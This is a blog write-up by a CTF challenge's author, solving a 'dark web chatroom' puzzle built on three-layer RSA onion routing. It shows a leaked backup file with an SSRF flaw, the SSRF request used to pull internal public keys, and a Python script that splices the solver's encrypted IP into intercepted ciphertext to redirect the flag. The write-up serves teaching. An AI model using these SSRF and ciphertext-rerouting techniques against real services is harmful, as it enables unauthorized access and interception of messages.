CTFshow-愚人杯-DarkWeb聊天室

自己的原创题 hhh,一直想出一道暗网主题的题目,不知道为啥最后就一个人做出来了2333,题目源码:GitHub - LeiyNeKo/DarkWeb_ChatRoom: 暗网聊天室(CTFshow愚人杯)

面对看似无懈可击的三层代理、层层加密,一般的思维是去破解密文,而这道题要反向思考,反而要通过加密来达到解密的效果

1.基本原理

[用户A] 向 [用户B] 发送消息:

1.首先 [用户A] 会找到三个节点作为代理

2.[用户A] 通过RSA非对称加密生成三对公私钥,将私钥分发给三个节点

3.[用户A] 对 "明文+IP用户B" 用公钥3加密为密文3,再对 "密文3+IP3" 用公钥2加密为密文2,再对 "密文2+IP2" 用公钥1加密为密文1

4.[用户A] 将密文1发送给 [节点1],[节点1] 用私钥1将密文1解密为 "密文2+IP2"

5.[节点1] 将密文2发送给 [节点2],[节点2] 用私钥2将密文2解密为 "密文3+IP3"

6.[节点2] 将密文3发送给 [节点3],[节点3] 用私钥3将密文3解密为 "明文+IP用户B"

7.[节点3] 将明文发送给 [用户B]

2.解题思路

一开始来到一个聊天界面

关键信息:

1.本地访问端口推测存在SSRF

2.新的网址

3.FLAG存在于"宇宙商城"的宣传语中

4.存在可使用的插件

整体推测:"宇宙商城"可能存在SSRF,获取宣传语明文即可得到FLAG

访问"宇宙商城"

看到自己IP,可能有用,进行信息收集:

robots.txt:

user-agent: *
Disallow: shop.py.bak

shop.py.bak:

if request.args.get('api', None) is not None:
    api = request.args.get('api')
    if re.search(r'^[\d\.:]+$', api):
        get = requests.get('http://'+api)
        html += '<!--'+get.text+'-->'
return html

可以看出来对api进行GET请求可以进行SSRF

访问 /shop?api=127.0.0.1:9999,获取到三个公钥

使用插件

顶部是类似Burp改包的功能

下面有部分加密源码

自己在本地进行加密模拟:

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

def encrypt(plaintext, public_key):
    cipher = PKCS1_v1_5.new(RSA.importKey(public_key))

    ciphertext = ''
    for i in range(0, len(plaintext), 128):
        ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()
        print(len(ciphertext))

    return ciphertext

key = RSA.generate(2048)
public_key1 = key.publickey().export_key()
private_key1 = key.export_key()
print(encrypt('Get ctfshow{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} for discover dark web secrets. High quality, low price. Perfect for aspiring hackers!', public_key1))

发现以长度128为一组加密,一组加密后的长度为512,512是128的整数倍

发现原始数据长度为18944,可以推断自己位于 [节点1]

尝试通过获取到的公钥1和自己的私钥1进行加解密

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

def encrypt(plaintext, public_key):
    cipher = PKCS1_v1_5.new(RSA.importKey(public_key))

    ciphertext = ''
    for i in range(0, len(plaintext), 128):
        ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()

    return ciphertext

def decrypt(ciphertext, private_key):
    cipher = PKCS1_v1_5.new(RSA.importKey(private_key))
    ciphertext = bytes.fromhex(ciphertext)

    plaintext = ''
    for i in range(0, len(ciphertext), 256):
        plaintext += cipher.decrypt(ciphertext[i:i+256], None).decode('utf-8')

    return plaintext

public_key1 = '-----BEGIN PUBLIC KEY-----\nxxx\n-----END PUBLIC KEY-----'
private_key1 = '-----BEGIN RSA PRIVATE KEY-----\nxxx\n-----END RSA PRIVATE KEY-----'
ciphertext = encrypt('Get ctfshow{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} for discover dark web secrets. High quality, low price. Perfect for aspiring hackers!', public_key1)
print(decrypt(ciphertext, private_key1))

发现可以成功解密,说明"宇宙商城"即是 [用户A]

构造Payload

可以看出来 [用户B] 的IP位于第二层的第二个4x512的位置,如果用公钥2和3对自己的IP进行加密然后替换掉 [用户B] 的IP,那么最终明文将发给自己

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, abort

# 加密
def encrypt(plaintext, public_key):
    cipher = PKCS1_v1_5.new(RSA.importKey(public_key))

    ciphertext = ''
    for i in range(0, len(plaintext), 128):
        ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()
        
    return ciphertext

IP = '2.56.12.89'
plaintext_half = '拦截的 解密后的数据'

# 公钥开头、结尾有俩\n
public_key2 = '-----BEGIN PUBLIC KEY-----\nxxx\n-----END PUBLIC KEY-----'
public_key3 = '-----BEGIN PUBLIC KEY-----\nxxx\n-----END PUBLIC KEY-----'

IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)

# 替换最终 IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext + plaintext_half[4096:]
print(plaintext_half_new)

成功获取FLAG

posted @ 2023-04-02 20:14  Hacker&Cat  阅读(428)  评论(0编辑  收藏  举报